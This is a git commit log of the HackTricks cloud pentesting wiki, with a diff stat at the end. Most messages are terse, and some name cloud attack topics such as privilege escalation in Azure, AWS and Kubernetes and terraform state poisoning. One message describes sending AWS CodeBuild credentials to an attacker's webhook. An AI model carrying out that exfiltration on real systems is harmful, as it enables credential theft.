160cdf0767 Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-03-21 10:20:07 +01:00
Carlos Polop
ce9d8e9162 f 2025-03-21 10:17:18 +01:00
Build master
27bda8c014 Update searchindex 2025-03-21 09:09:36 +00:00
Build master
d9b93c0df5 Update searchindex 2025-03-21 09:04:21 +00:00
SirBroccoli
62ee9ee386 Merge pull request #170 from cydtseng/minor
Minor improvements for aws-basic-information
2025-03-21 09:59:00 +01:00
SirBroccoli
1c761c2a55 Merge pull request #169 from JaimePolop/patch-23
Update az-sql.md
2025-03-21 09:58:34 +01:00
Build master
849a545f21 Update searchindex 2025-03-18 05:49:00 +00:00
Carlos Polop
cfc01c0374 Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-03-18 06:47:31 +01:00
Carlos Polop
6915cfa68c fix 2025-03-18 06:47:26 +01:00
Build master
aed8d2e643 Update searchindex 2025-03-17 11:56:39 +00:00
Carlos Polop
b2bf4d9b07 Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-03-17 12:55:07 +01:00
Carlos Polop
6788b5e0a5 asd 2025-03-17 12:55:00 +01:00
Build master
5c702e69b9 Update searchindex 2025-03-17 03:49:36 +00:00
Carlos Polop
42f78679a2 vm to aa 2025-03-17 04:47:59 +01:00
Cyd Tseng
6c40f6cac4 docs: minor grammar / spelling improvements for aws-basic-information 2025-03-13 00:38:23 +08:00
Jaime Polop
fcb6c989fc Update az-sql.md 2025-03-07 19:29:40 +01:00
Jaime Polop
8d310c43f5 Update az-sql.md 2025-03-07 19:28:42 +01:00
Build master
27d96d81e1 Update searchindex 2025-03-04 22:09:14 +00:00
Carlos Polop
6d88cb548f impr 2025-03-04 23:07:33 +01:00
Build master
1216308b18 Update searchindex 2025-03-02 12:55:20 +00:00
Carlos Polop
00f4a32ae3 Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-03-02 13:53:42 +01:00
Carlos Polop
96579673c1 sentinel 2025-03-02 13:53:38 +01:00
Build master
f8c4c4d8ac Update searchindex 2025-03-02 00:21:20 +00:00
Carlos Polop
3902e8cafd Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-03-02 01:19:46 +01:00
Carlos Polop
39876cd315 defender + monitoring 2025-03-02 01:19:42 +01:00
Build master
d668cf5452 Update searchindex 2025-02-26 15:52:26 +00:00
Carlos Polop
d54cb2b5ff virtual desktops 2025-02-26 16:50:45 +01:00
Carlos Polop
c79c359fd2 asd 2025-02-26 02:00:25 +01:00
Carlos Polop
1efe5e7e77 asd 2025-02-26 01:40:13 +01:00
Carlos Polop
7991ff4fae asd 2025-02-26 01:19:35 +01:00
Carlos Polop
045b6c2320 asd 2025-02-26 00:38:39 +01:00
Carlos Polop
ab888d748c asd 2025-02-26 00:32:20 +01:00
Carlos Polop
5d3c7b0348 asd 2025-02-26 00:14:56 +01:00
Carlos Polop
d77d87d686 a 2025-02-25 23:37:57 +01:00
Carlos Polop
9c0cfb6529 a 2025-02-25 23:33:09 +01:00
Carlos Polop
2730856acc a 2025-02-25 23:29:26 +01:00
Carlos Polop
221636beae Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-02-25 23:07:12 +01:00
Carlos Polop
740801ab61 a 2025-02-25 23:07:08 +01:00
Build master
23ce7a243e Update searchindex 2025-02-25 21:58:00 +00:00
SirBroccoli
13f89a6674 Merge pull request #168 from JaimePolop/master
vitualdesktop
2025-02-25 22:56:31 +01:00
Jimmy
776d9f73df vitualdesktop 2025-02-25 12:41:45 +01:00
Jimmy
c8c09b0abb vitualdesktop 2025-02-25 12:37:08 +01:00
Build master
329ef07c7e Update searchindex 2025-02-25 05:08:47 +00:00
Carlos Polop
aad012f215 Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-02-25 06:06:50 +01:00
Carlos Polop
50029a6488 logic apps 2025-02-25 06:06:45 +01:00
Build master
5bb4e02a58 Update searchindex 2025-02-24 10:29:46 +00:00
Carlos Polop
c0a3872982 Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-02-24 11:27:05 +01:00
Carlos Polop
a19517f026 az functions 2025-02-24 11:27:01 +01:00
Build master
429913c5ec Update searchindex 2025-02-22 16:14:23 +00:00
Carlos Polop
2d32b37d9c Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-02-22 17:12:56 +01:00
Carlos Polop
77da1e58ca static web apps 2025-02-22 17:12:53 +01:00
Build master
516553f4bf Update searchindex 2025-02-22 12:46:54 +00:00
SirBroccoli
188b9a7b0a Merge pull request #166 from JaimePolop/master
new
2025-02-22 13:45:25 +01:00
Jimmy
58556acb7d new 2025-02-22 13:38:23 +01:00
Jimmy
0148473b67 new 2025-02-22 13:34:13 +01:00
Jimmy
b832183456 new 2025-02-22 13:27:27 +01:00
Build master
3e96d64e50 Update searchindex 2025-02-21 23:33:51 +00:00
Carlos Polop
7336c976ae Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-02-22 00:32:13 +01:00
Carlos Polop
def87f1ffb asd 2025-02-22 00:32:09 +01:00
Build master
b715d43fad Update searchindex 2025-02-21 13:57:18 +00:00
Carlos Polop
c6b3795cc5 fix workflows 2025-02-21 14:55:41 +01:00
Carlos Polop
8fa715b08d Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-02-21 12:44:07 +01:00
Carlos Polop
aeb3f8b582 a 2025-02-21 12:44:01 +01:00
Build master
568e936ca0 Update searchindex 2025-02-21 11:02:56 +00:00
Carlos Polop
2456bca341 a 2025-02-21 12:01:31 +01:00
Carlos Polop
f138e0366f Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-02-21 12:00:43 +01:00
Carlos Polop
c089890c84 Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-02-21 00:14:46 +01:00
Build master
901725b847 Update searchindex 2025-02-20 23:14:18 +00:00
Carlos Polop
fea4bb8938 impr 2025-02-21 00:13:14 +01:00
SirBroccoli
7026e4e728 Merge pull request #163 from JaimePolop/master
Cosmosdb
2025-02-21 00:12:51 +01:00
Jaime Polop
0e15aeffba Delete searchindex.json 2025-02-20 23:21:38 +01:00
Jimmy
b7dc63cd26 a 2025-02-20 23:20:59 +01:00
Build master
4c9c8c10ac Update searchindex 2025-02-20 12:10:09 +00:00
Carlos Polop
64f5661515 Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-02-20 13:08:28 +01:00
Carlos Polop
bee34f3c05 fixes 2025-02-20 13:08:24 +01:00
Build master
2f84f3f328 Update searchindex 2025-02-20 00:56:04 +00:00
Carlos Polop
892232fe26 Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-02-20 01:54:38 +01:00
Carlos Polop
c71aa6f7b1 a 2025-02-20 01:54:29 +01:00
Carlos Polop
ab3e89c82d more sql 2025-02-20 01:53:49 +01:00
Build master
caf320e355 Update searchindex 2025-02-20 00:51:55 +00:00
Carlos Polop
e841f06505 sql and other fixes 2025-02-20 01:50:24 +01:00
Build master
6456eab2cf Update searchindex 2025-02-20 00:36:33 +00:00
SirBroccoli
3c746383c6 Merge pull request #162 from JaimePolop/master
sql & others
2025-02-20 01:35:07 +01:00
Jaime Polop
064162062f Delete searchindex.json 2025-02-20 00:57:18 +01:00
Jimmy
e3ca81040e asd 2025-02-20 00:55:53 +01:00
Build master
4313cc72bc Update searchindex 2025-02-19 01:29:33 +00:00
Carlos Polop
80b91382f3 Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-02-19 02:28:04 +01:00
Carlos Polop
0828130954 az sql 2025-02-19 02:27:59 +01:00
Build master
94e634230a Update searchindex 2025-02-18 11:18:25 +00:00
Carlos Polop
5e48ce18e0 Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-02-18 12:16:45 +01:00
Carlos Polop
61c70bfefd improvements 2025-02-18 12:16:41 +01:00
Build master
ce2ede1e01 Update searchindex 2025-02-17 20:57:20 +00:00
Carlos Polop
127c85e7d2 impr servicebus 2025-02-17 21:55:47 +01:00
Build master
40e08a1893 Update searchindex 2025-02-17 18:27:14 +00:00
Carlos Polop
e746e3e353 Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-02-17 19:25:47 +01:00
Carlos Polop
0f7175eb98 fix 2025-02-17 19:25:37 +01:00
Build master
d109bb6b44 Update searchindex 2025-02-17 18:21:54 +00:00
Carlos Polop
2505aec847 fix build 2025-02-17 19:20:11 +01:00
Carlos Polop
cc5dc4c885 summary update 2025-02-17 18:15:16 +01:00
Carlos Polop
09a10afd24 Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-02-17 18:09:02 +01:00
Carlos Polop
0d9b4e5917 aa persistence 2025-02-17 18:08:59 +01:00
SirBroccoli
ad0fd2ac62 Merge pull request #161 from JaimePolop/master
sql and servicebus
2025-02-17 12:56:22 +01:00
Build master
47c4eb2f02 Update searchindex 2025-02-17 11:52:19 +00:00
Jaime Polop
8b8705f5a2 Delete searchindex.json 2025-02-17 12:51:09 +01:00
Build master
e82c35b07f Update searchindex 2025-02-17 11:49:02 +00:00
Jimmy
5f47797e6a updates 2025-02-17 12:41:24 +01:00
Build master
90a2f79a0f Update searchindex 2025-02-17 10:56:10 +00:00
Carlos Polop
baa1c7240d Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-02-17 11:54:31 +01:00
Carlos Polop
0f6da30192 fix summary 2025-02-17 11:54:27 +01:00
Build master
06d67a4432 Update searchindex 2025-02-16 17:27:19 +00:00
Carlos Polop
f9413e0d34 Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-02-16 18:25:48 +01:00
Carlos Polop
31acbca2ed privesc jobs az 2025-02-16 18:25:44 +01:00
Build master
e938af6965 Update searchindex 2025-02-15 17:50:26 +00:00
Carlos Polop
8d0d445b93 Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-02-15 18:48:59 +01:00
Carlos Polop
9cd2ef8e2f fixes 2025-02-15 18:48:56 +01:00
Build master
c4b06ab12c Update searchindex 2025-02-15 15:25:20 +00:00
Carlos Polop
5537bfe63d Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-02-15 16:23:52 +01:00
Carlos Polop
6e477bc296 update container services az 2025-02-15 16:23:48 +01:00
Build master
46af6b9474 Update searchindex 2025-02-15 03:24:48 +00:00
Carlos Polop
e6644e6caa improvements 2025-02-15 04:23:19 +01:00
Carlos Polop
fcc20e6908 a 2025-02-15 03:00:32 +01:00
Carlos Polop
8be9956703 Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-02-15 02:17:10 +01:00
Carlos Polop
2be77df66d a 2025-02-15 02:17:06 +01:00
Build master
8594fa5343 Update searchindex 2025-02-15 01:16:02 +00:00
SirBroccoli
ba04a6a2ff Merge pull request #158 from raadfhaddad/master
Update aws-macie-privesc.md
2025-02-15 02:14:40 +01:00
Build master
d2f2655fc4 Update searchindex 2025-02-14 18:20:02 +00:00
Carlos Polop
5a5104fe95 Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-02-14 19:18:33 +01:00
Carlos Polop
ef85d7fdd5 unauth container registry 2025-02-14 19:18:28 +01:00
Carlos Polop
83bc9f97e8 f 2025-02-14 17:20:39 +01:00
Build master
d3b9883283 Update searchindex 2025-02-14 16:20:08 +00:00
Carlos Polop
81acaa16e0 Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-02-14 17:18:44 +01:00
Carlos Polop
70d0f13e7e f 2025-02-14 17:18:40 +01:00
Build master
8392cf548c Update searchindex 2025-02-14 15:44:15 +00:00
Carlos Polop
0b97b3caff Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-02-14 16:42:53 +01:00
Carlos Polop
4df9252db4 fixes 2025-02-14 16:42:49 +01:00
Raad
3350e31738 Update aws-macie-privesc.md 2025-02-14 08:16:32 +01:00
Build master
17be115fa6 Update searchindex 2025-02-13 17:45:51 +00:00
Carlos Polop
ccbbfaee00 Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-02-13 18:44:25 +01:00
Carlos Polop
b98496aaed f 2025-02-13 18:44:21 +01:00
Build master
30399528e4 Update searchindex 2025-02-13 10:01:56 +00:00
Carlos Polop
650655363f Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-02-13 11:00:31 +01:00
Carlos Polop
615a959bb6 fix macie 2025-02-13 11:00:27 +01:00
Build master
0d198fe961 Update searchindex 2025-02-13 09:54:32 +00:00
SirBroccoli
abbd0a816b Merge pull request #157 from raadfhaddad/master
Create aws-macie-privesc.md
2025-02-13 10:53:03 +01:00
Carlos Polop
13df9aee51 f 2025-02-13 10:51:25 +01:00
Raad
eb110dfd72 Create aws-macie-enum.md 2025-02-12 22:21:39 +01:00
Raad
491627bf9f Merge branch 'HackTricks-wiki:master' into master 2025-02-12 22:18:35 +01:00
Carlos Polop
ca5a9e1037 Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-02-12 18:21:54 +01:00
Carlos Polop
7537334e2c a 2025-02-12 18:21:49 +01:00
Congon4tor
bb664c142d changes serchindex ulrs 2025-02-12 18:06:33 +01:00
Carlos Polop
4eafaed2b1 m 2025-02-12 15:58:21 +01:00
Carlos Polop
e158438a0f master workflow 2025-02-12 15:33:47 +01:00
Carlos Polop
57da0bf8db run gh 2025-02-12 15:25:17 +01:00
Carlos Polop
ae7aefe448 Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-02-12 15:24:14 +01:00
Carlos Polop
19401f19d6 searchindex master 2025-02-12 15:24:09 +01:00
Congon4tor
92b3c384c8 Fix links and update search index url 2025-02-12 14:47:59 +01:00
Carlos Polop
0d26e5ed8c Update searchindex 2025-02-12 14:42:59 +01:00
Carlos Polop
cd5de3879c f 2025-02-12 14:37:24 +01:00
Carlos Polop
dc557dad46 try 2025-02-12 14:32:25 +01:00
Carlos Polop
d6597f9990 Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-02-12 14:31:51 +01:00
Carlos Polop
77a117d772 searchindex test 1 2025-02-12 14:31:47 +01:00
Congon4tor
699a707bb6 Add searchindex to repo 2025-02-12 14:13:04 +01:00
Raad
b741525093 Create aws-macie-privesc.md 2025-02-11 21:46:29 +01:00
Carlos Polop
60b1ca6b88 Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-02-11 17:56:14 +01:00
Carlos Polop
30236714f5 f 2025-02-11 17:56:10 +01:00
SirBroccoli
f258a13eef Merge pull request #156 from JaimePolop/master
FIxes
2025-02-11 00:28:49 +01:00
Carlos Polop
4e491e3f55 fixes 2025-02-11 00:28:34 +01:00
Jimmy
b3cfc40029 Merge branch 'master' of https://github.com/JaimePolop/hacktricks-cloud 2025-02-10 12:44:38 +01:00
Jimmy
26bf439a59 Y 2025-02-10 12:31:51 +01:00
Jimmy
3757efbd43 Y 2025-02-10 12:22:24 +01:00
Carlos Polop
d13ebeaeb5 f 2025-02-10 01:21:01 +01:00
Carlos Polop
3f01e5e4fa f 2025-02-09 18:51:16 +01:00
Carlos Polop
8452766003 fixes 2025-02-09 18:51:11 +01:00
Carlos Polop
9bea483104 fix banner 2025-02-09 15:53:44 +01:00
Carlos Polop
7162236a6b fix 2025-02-08 19:54:20 +01:00
Carlos Polop
f5c7490026 mor einfo 2025-02-08 19:47:32 +01:00
Carlos Polop
2383d6958b Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-02-08 19:23:46 +01:00
Carlos Polop
fd5fc9957a azure basics 2025-02-08 19:23:41 +01:00
SirBroccoli
d42d244a6a Merge pull request #154 from JaimePolop/patch-22
Update az-storage-privesc.md
2025-02-08 14:46:52 +01:00
Carlos Polop
117bb933af improvements 2025-02-07 01:02:14 +01:00
Carlos Polop
9a9ea3101f typo 2025-02-06 03:12:35 +01:00
Carlos Polop
ec6fcd37f0 impr 2025-02-06 00:34:19 +01:00
Carlos Polop
551524079b Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-02-04 19:06:01 +01:00
Carlos Polop
92d27a9632 add perm Microsoft.ContainerRegistry/registries/generateCredentials/action 2025-02-04 19:05:56 +01:00
Jaime Polop
cfcc836974 Update az-storage-privesc.md 2025-02-03 11:26:08 +01:00
SirBroccoli
7838f68347 Merge pull request #152 from hhoollaa1/master
EFS IP Enumeration Python Script
2025-02-02 19:21:19 +01:00
SirBroccoli
452fb430b3 Merge pull request #153 from JaimePolop/patch-21
Update az-file-shares.md
2025-01-29 12:33:13 +01:00
Jaime Polop
ba94d85a36 Update az-file-shares.md 2025-01-29 12:29:56 +01:00
hhoollaa1
a9b9e95899 Update aws-efs-enum.md 2025-01-27 21:10:05 +01:00
SirBroccoli
5a2543873e Merge pull request #151 from JaimePolop/master
azuread MS Graph
2025-01-27 15:19:11 +01:00
Jaime Polop
b353597cd3 Update az-azuread.md 2025-01-27 11:58:13 +01:00
Jaime Polop
9ed1b29bb9 Update az-azuread.md 2025-01-27 02:10:28 +01:00
Carlos Polop
01295fcd13 dataproc 2025-01-26 22:47:34 +01:00
SirBroccoli
81d2665909 Merge pull request #148 from shamo0/master
grte-shamooo
2025-01-26 22:45:09 +01:00
Mac
873eba38c0 dataproc enum & privesc 2025-01-27 00:14:46 +04:00
Carlos Polop
979ea57c3b Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-01-26 18:53:28 +01:00
Carlos Polop
ae6616b63b comparison reader with security reader 2025-01-26 18:53:24 +01:00
Mac
dbac949488 dataproc privesc update 2025-01-26 21:53:14 +04:00
Congon4tor
3e06c28e43 updated preprocessor 2025-01-26 18:16:58 +01:00
SirBroccoli
5d21fb67a6 Merge pull request #147 from JaimePolop/master
CloudShell & LogicApps
2025-01-26 16:10:25 +01:00
SirBroccoli
25395ae94a Merge branch 'master' into master 2025-01-26 16:10:16 +01:00
Carlos Polop
626155bec1 small fixes 2025-01-26 16:06:53 +01:00
Carlos Polop
8f02f9f5a5 fix 2025-01-26 15:48:40 +01:00
Carlos Polop
d9c68fcf04 fix 2025-01-26 15:21:37 +01:00
Carlos Polop
c76f3defdd a 2025-01-26 12:02:02 +01:00
Carlos Polop
569f2be7c9 impr 2025-01-26 11:42:59 +01:00
Carlos Polop
416e7cf699 improvements 2025-01-25 15:33:23 +01:00
Mac
480c6ba178 dataproc privesc 2025-01-23 20:54:49 +04:00
Carlos Polop
8f6514eed9 Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-01-23 00:04:03 +01:00
Carlos Polop
6736e6d5c8 more azure stuff 2025-01-23 00:03:36 +01:00
Jaime Polop
1bc1085d79 Update SUMMARY.md 2025-01-22 13:21:20 +01:00
Jaime Polop
50f10aa913 Update az-static-web-apps.md 2025-01-22 13:17:57 +01:00
Jaime Polop
bb6035c0ca Update SUMMARY.md 2025-01-22 13:13:24 +01:00
SirBroccoli
b6310f4ac6 Merge pull request #141 from VL4DYSL4V/VL4DYSL4V-k8s-privesc-via-secrets-create-and-read
Added K8s privesc technique via Create & Read secrets
2025-01-22 13:03:38 +01:00
SirBroccoli
9bcaf7c6df Merge pull request #145 from JaimePolop/patch-20
Update az-cosmosDB.md
2025-01-22 10:49:35 +01:00
SirBroccoli
a60a5be8d2 Merge pull request #142 from VL4DYSL4V/VL4DYSL4V-create-and-delete-k8s-pods-with-curl
Added scripts for creating & deleting K8s pods, SAs, Roles, RoleBindings, and Secrets with curl
2025-01-22 10:49:19 +01:00
Carlos Polop
250329b9aa fix summary 2025-01-21 19:38:49 +01:00
Carlos Polop
64ab139a57 azure automatic tools 2025-01-21 18:15:39 +01:00
Jaime Polop
38ec0650ca Update SUMMARY.md 2025-01-17 17:41:33 +01:00
Jaime Polop
a027dd2a21 Add files via upload 2025-01-17 17:39:20 +01:00
Jaime Polop
1e69b05fe7 Add files via upload 2025-01-17 17:38:57 +01:00
Jaime Polop
9f84500da6 Update SUMMARY.md 2025-01-16 12:49:17 +01:00
Jaime Polop
62664886c7 Add files via upload 2025-01-16 12:47:56 +01:00
Jaime Polop
e4b1066789 Add files via upload 2025-01-16 12:47:24 +01:00
Jaime Polop
0f2e9443ca Add files via upload 2025-01-16 12:46:39 +01:00
Jaime Polop
dbb3f98a12 Update az-cosmosDB.md 2025-01-13 17:03:55 +01:00
Jaime Polop
234398ad6e Merge branch 'HackTricks-wiki:master' into master 2025-01-13 16:39:28 +01:00
Jaime Polop
a6e5b378be Update az-cosmosDB.md 2025-01-13 16:39:17 +01:00
Vladyslav
cdd6583bb6 Update kubernetes-enumeration.md 2025-01-13 15:08:23 +02:00
Vladyslav
12c468f714 Update kubernetes-enumeration.md 2025-01-13 14:58:03 +02:00
Carlos Polop
0996afea1b azure container 2025-01-12 19:42:21 +01:00
Jaime Polop
3fd7b2b8a2 Merge branch 'HackTricks-wiki:master' into master 2025-01-12 11:55:47 +01:00
Jimmy
e47fdfb9ea Update pwsh 2025-01-12 11:55:13 +01:00
SirBroccoli
d6f87481ef Merge pull request #139 from JaimePolop/master
CosmosDB, Postgres and MySQL
2025-01-11 19:28:52 +01:00
Vladyslav
3000c3b4fe Added scripts for creating & deleting K8s pods with curl 2025-01-11 16:42:38 +02:00
Vladyslav
15ce1f2a40 Added K8s privesc technique via Create & Read secrets 2025-01-11 15:20:34 +02:00
Jaime Polop
8ec34fc329 Merge branch 'HackTricks-wiki:master' into master 2025-01-10 18:50:57 +01:00
Jaime Polop
5d6efaa6a6 Update SUMMARY.md 2025-01-10 18:50:36 +01:00
Carlos Polop
73e6fee408 auto acc 2025-01-10 18:39:42 +01:00
Jimmy
833b571498 Update URLs 2025-01-10 16:34:21 +01:00
Jaime Polop
37bf365f5b Merge branch 'HackTricks-wiki:master' into master 2025-01-10 15:02:54 +01:00
Carlos Polop
8b52bc23a3 automation acc hybrid workers 2025-01-10 14:16:44 +01:00
Carlos Polop
d9f6b34673 fix ec2 + automation accounts 2025-01-10 12:59:11 +01:00
Jaime Polop
9021590856 Update SUMMARY.md 2025-01-10 11:32:04 +01:00
Jaime Polop
8ea0f4a3f1 Update az-cosmosDB-post-exploitation.md 2025-01-10 11:28:42 +01:00
Jaime Polop
78334993a2 Update az-cosmosDB.md 2025-01-10 11:26:58 +01:00
Jaime Polop
e8cee6743c Add files via upload 2025-01-10 11:06:35 +01:00
Jaime Polop
55fc400bf7 Add files via upload 2025-01-10 11:02:38 +01:00
Jaime Polop
dc16c9ff9f Add files via upload 2025-01-10 11:01:45 +01:00
Carlos Polop
6d926a6f72 local hacktricks cloud 2025-01-09 18:20:22 +01:00
Carlos Polop
d9a7ae2880 build coker public 2025-01-09 17:59:36 +01:00
Carlos Polop
be659333c8 fix keyvault.md 2025-01-09 17:34:55 +01:00
Carlos Polop
cb67f59e59 images 2025-01-09 17:29:41 +01:00
Carlos Polop
b3f82cc35c fix hacktricks cloud 2025-01-09 15:46:23 +01:00
Carlos Polop
1f00ec798e write packages 2025-01-09 09:50:32 +01:00
Carlos Polop
782d409f47 en 2025-01-09 09:45:51 +01:00
Carlos Polop
30f14affe7 t11 2025-01-09 09:44:48 +01:00
Carlos Polop
65cfe4be40 handle exception 2025-01-09 09:44:32 +01:00
Carlos Polop
39ef4428ef build master 2025-01-09 09:36:04 +01:00
Carlos Polop
de7e5d2eb0 t10 2025-01-09 09:31:45 +01:00
Carlos Polop
78f6ebfdc9 install awscli in the container 2025-01-09 09:19:39 +01:00
Carlos Polop
4b9cb59f09 fr 2025-01-09 09:17:47 +01:00
Carlos Polop
3b671863b3 t9 2025-01-09 09:15:28 +01:00
Carlos Polop
110692ec5f t8 2025-01-09 09:10:14 +01:00
Carlos Polop
065d29019c t7 2025-01-09 09:06:37 +01:00
Carlos Polop
184a36301a translator 2025-01-09 09:04:23 +01:00
Carlos Polop
c3b572db87 t6 2025-01-09 08:43:19 +01:00
Carlos Polop
894d2f8dc6 t5 2025-01-09 08:34:24 +01:00
Carlos Polop
3eff514680 t4 2025-01-09 02:04:38 +01:00
Carlos Polop
4fae1360a8 t3 2025-01-09 01:55:16 +01:00
Carlos Polop
372ccdf299 t2 2025-01-09 01:52:23 +01:00
Carlos Polop
0c3d697d67 t2 2025-01-09 01:52:19 +01:00
Carlos Polop
cdf8430598 t 2025-01-09 01:49:44 +01:00
Carlos Polop
432e916b2f translators 2025-01-09 01:47:16 +01:00
Carlos Polop
cb23139acd d 2025-01-09 01:29:31 +01:00
Carlos Polop
1a41153b95 docker 2025-01-09 01:26:48 +01:00
Carlos Polop
06184f73ec build docker 2025-01-09 01:25:03 +01:00
Carlos Polop
bde9b73eb1 docker 2025-01-09 01:18:30 +01:00
Carlos Polop
69db82891a cat error preprod 2025-01-09 01:05:33 +01:00
Carlos Polop
52142003ec add az-static-web-apps-privesc.md 2025-01-08 23:51:34 +01:00
Carlos Polop
a850e268dc fix transaltor 2025-01-08 23:50:53 +01:00
Carlos Polop
cc120ade68 translate az-app-services-privesc.md 2025-01-08 22:00:23 +01:00
Carlos Polop
3000248da2 fix translator log 2025-01-08 21:59:46 +01:00
SirBroccoli
1a5f666c80 Merge pull request #138 from ex16x41/patch-5
Update aws-codebuild-privesc.md
2025-01-08 21:36:25 +01:00
Eva
95f91529c7 Update aws-codebuild-privesc.md
Create a hook.json file with command to send output from curl credentials URI to your webhook address
2025-01-08 21:27:54 +01:00
Carlos Polop
b65df65002 Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-01-07 00:43:41 +01:00
Carlos Polop
1c333d4cab static web 2025-01-07 00:43:37 +01:00
Congon4tor
b0794c4b1c Support # in refs 2025-01-06 18:02:23 +01:00
Carlos Polop
009ef58e30 static 2025-01-05 23:48:40 +01:00
Carlos Polop
ad6c542f82 Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-01-05 21:15:16 +01:00
Carlos Polop
3a7480d764 MIGRATION TYPOS 2025-01-05 21:15:12 +01:00
SirBroccoli
4b71029629 Merge pull request #134 from offensive-actions/add-terraform-state-rce-and-dynamodb-privesc
arte-administrator
2025-01-05 16:05:38 +01:00
Carlos Polop
c1aee098b6 actas in cloudbuild 2025-01-05 16:03:29 +01:00
Carlos Polop
ec0ff62bcb fix translator 2025-01-05 15:32:32 +01:00
Carlos Polop
2244c6b485 clean images 2025-01-05 15:31:07 +01:00
Carlos Polop
61bc94e77d Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-01-05 11:29:54 +01:00
Carlos Polop
13358c1371 fix links 2025-01-05 11:29:50 +01:00
SirBroccoli
1e29cb77cc Merge pull request #135 from HackTricks-wiki/support-file-downloads
Support file downloads
2025-01-04 18:48:56 +01:00
Carlos Polop
d65983432b app services 2025-01-04 04:38:52 +01:00
Carlos Polop
18d1953edd app services 2025-01-04 01:32:19 +01:00
Carlos Polop
c395861d3d improve translator 2025-01-04 00:25:53 +01:00
Carlos Polop
d9247bf598 app services 2025-01-03 20:16:15 +01:00
Congon4tor
853e602bc2 Support file downloads 2025-01-03 19:35:15 +01:00
Benedikt Haußner
8750a93d41 add dynamodb privilege escalation via putting of resource based policy 2025-01-03 15:26:44 +01:00
Benedikt Haußner
b918609383 add fully working solution for privesc via terraform state file poisoning and reference from s3 privilege escalation to that technique 2025-01-03 15:26:16 +01:00
Carlos Polop
3d1f96fd4a Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud 2025-01-03 12:21:56 +01:00
Carlos Polop
9eec79f700 app services 2025-01-03 12:21:52 +01:00
SirBroccoli
8a25a0856f Update translator.py 2025-01-03 11:42:03 +01:00
SirBroccoli
e67cc3f450 Merge pull request #133 from HackTricks-wiki/robots-txt
Add robots.txt
2025-01-03 10:47:48 +01:00
SirBroccoli
194ae6d76b Merge pull request #132 from HackTricks-wiki/add-language-selector
Fixes language UI
2025-01-03 10:47:06 +01:00
Congon4tor
d53ffc12eb Fix page index with links 2025-01-03 03:30:47 +01:00
Congon4tor
c520826284 Add read time to all pages 2025-01-03 02:52:56 +01:00
Congon4tor
7a0a0329a7 Add robots.txt 2025-01-03 01:46:36 +01:00
Congon4tor
a7bf8124da Fixes language UI 2025-01-03 01:09:11 +01:00
Carlos Polop
b340bf8ada t 2025-01-02 22:26:08 +01:00
Carlos Polop
bad627b7db lang 2025-01-02 21:53:56 +01:00
Carlos Polop
96cc8f9772 languages 2025-01-02 21:53:49 +01:00
SirBroccoli
1922e106fd Merge pull request #131 from HackTricks-wiki/add-language-selector
Add language selector
2025-01-02 21:47:43 +01:00
Congon4tor
d7d5e4a93c Add language selector 2025-01-02 21:18:12 +01:00
Carlos Polop
716aa06779 translate 2 2025-01-01 23:55:27 +01:00
Carlos Polop
4ef00e6b1b translate fix 2025-01-01 23:55:17 +01:00
Carlos Polop
2beb8398a6 translate 2 2025-01-01 21:36:26 +01:00
Carlos Polop
d0b9174054 translate 2025-01-01 21:36:15 +01:00
Carlos Polop
d0e6a85e6f update translator 2025-01-01 21:23:33 +01:00
Carlos Polop
d96df379fd trasnlate other half 2024-12-31 18:48:54 +01:00
Carlos Polop
4d622f5500 translate half 2024-12-31 18:48:31 +01:00
696 changed files with 34898 additions and 38384 deletions

View File

@@ -1,9 +1,16 @@
You can remove this content before sending the PR:
## Attribution
